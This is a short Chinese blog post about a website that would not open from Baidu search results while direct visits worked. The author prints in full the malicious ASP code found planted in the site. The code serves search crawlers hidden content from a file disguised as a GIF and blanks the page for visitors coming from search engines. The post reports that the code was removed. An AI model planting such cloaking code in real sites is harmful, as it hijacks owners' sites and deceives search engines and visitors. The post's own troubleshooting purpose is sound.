您好,欢迎来到

中国信息港

! 请登录 免费注册
  • 在线企业QQ:

百度搜索结果打不开自己的网站

服务器
2012-12-26   阅读:377

百度搜索结果打不开自己的网站,把网址在搜索栏直接输入却可以直接打开---当客户提出这个问题的时候,我很奇怪。把全站的代码下到本地,技术们好好研究下,终于找到了一段“不受欢迎的”代码。

<%
function isspider()
dim i,agent,searray
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function


function fromse()
dim urlrefer,searray,i
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function

if(isspider()) then
dim myfso,fileurl,filecon,myfile
fileurl=Server.MapPath("images/bg01.gif")
Set myfso=Server.CreateObject("Scripting.FileSystemObject")
if myfso.FileExists(fileurl) then
Set myfile=myfso.OpenTextFile(fileurl, 1)
filecon=myfile.readAll
response.write(filecon)
myfile.Close
Set myfile=Nothing
Set myfso=Nothing
response.end
end if
end if
if (fromse()) then
response.write("<br/>")
response.end
else
end if
%>


在这段代码取消后,我们把网站的处理过的代码上传,终于把网站维护好了。

转载请注明出处:http://www.cncnc.com.cn/news/shownews-601-0.html